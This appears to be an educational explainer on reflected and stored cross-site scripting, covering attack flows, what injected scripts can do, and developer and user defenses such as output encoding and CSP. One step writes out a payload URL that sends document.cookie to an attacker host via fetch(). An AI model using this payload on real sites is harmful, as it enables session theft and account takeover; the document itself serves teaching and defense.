The Core XSS Attack Chain
XSS requires three elements to succeed:
1
A vulnerable application β accepts user input and renders it in the browser without validating or encoding it. The application treats user content as HTML/JavaScript rather than plain text.
2
A delivery mechanism β either a crafted link sent to a specific victim (reflected XSS) or malicious content posted to a page that others will visit (stored XSS).
3
A victim's browser that executes the script β because the script appears to originate from the trusted domain, the browser executes it in the context of that site, giving it access to cookies, session tokens, and page data.
Remove any one element and the attack fails. The most reliable fix is element 1 β proper output encoding in the application.
Reflected XSS vs. Stored XSS β Side by Side
| Property | Reflected (Non-Persistent) | Stored (Persistent) |
|---|---|---|
| Script location | Embedded in URL / request | Saved in server database |
| Delivery method | Crafted link via email or message | Malicious post/comment on the site |
| Victim interaction | Must click the crafted link | Just visits the infected page |
| Target scope | Specific individual targets | All viewers of the infected page |
| Can propagate? | No β one link, one victim | Yes β XSS worms can self-replicate |
| Severity | Targeted, controllable | Mass impact, potentially viral |
Reflected XSS β Step-by-Step Flow
1
Attacker finds a vulnerable search field β the site reflects the search term back in the page without encoding it.
2
Attacker crafts a URL with a script payload embedded in the search parameter:
https://trusted-site.com/search?q=<script>fetch('https://attacker.com/?c='+document.cookie)</script>3
Attacker emails this link to the victim. The link looks like it goes to a legitimate, trusted site.
4
Victim clicks the link. Browser sends the request to the trusted site, which reflects the script in the HTML response.
5
Browser executes the script in the context of the trusted site β it reads the session cookie and sends it to the attacker's server.
6
Attacker uses the stolen session cookie to impersonate the victim on the trusted site β fully authenticated, no password needed.
Stored XSS β Step-by-Step Flow
1
Attacker finds a comment field, forum post, or profile section that stores and re-displays user input without encoding.
2
Attacker submits a comment containing a malicious script:
<script>document.cookie sent to attacker</script>3
The site saves the comment (including the script) to its database. It is now part of the site's own content.
4
Any user who loads the page with the comment has the script executed automatically β no link required.
5
(Optional β XSS worm) The script also posts itself as a new comment on the viewer's profile, spreading to their followers' browsers.
6
Attacker collects session tokens from all victims and gains access to all affected accounts.
What a Malicious XSS Script Can Do
| Action | How | Result |
|---|---|---|
| Steal session cookie | Read document.cookie | Attacker impersonates the user |
| Capture credentials | Hook form submit events | Attacker gets username and password |
| Redirect victim | Set window.location | Victim sent to phishing or malware site |
| Fake login overlay | Inject HTML into the page | Victim re-enters credentials into attacker form |
| Actions on behalf of user | Make authenticated API requests | Change passwords, transfer funds, delete data |
| Self-propagate | Re-post malicious content | XSS worm spreads across social network |
The Defense Stack β Developer and User Controls
| Control | Who Applies It | How It Stops XSS |
|---|---|---|
| Output encoding | Developer | Converts <script> to harmless text β browser displays it, never executes it |
| Input validation | Developer | Rejects or strips script tags and event handlers before storing input |
| Content Security Policy (CSP) | Developer | Browser refuses to execute scripts from unauthorized sources or inline code |
| Don't click untrusted links | User | Prevents reflected XSS β attacker's crafted URL never reaches the browser |
| Control JavaScript execution | User (browser extension) | Blocks scripts from untrusted domains β limits but does not eliminate XSS risk |
| Keep browser updated | User | Patches browser vulnerabilities that XSS may attempt to exploit |
User controls reduce exposure but do not fix the vulnerability. The fix lives in the application code β output encoding and input validation.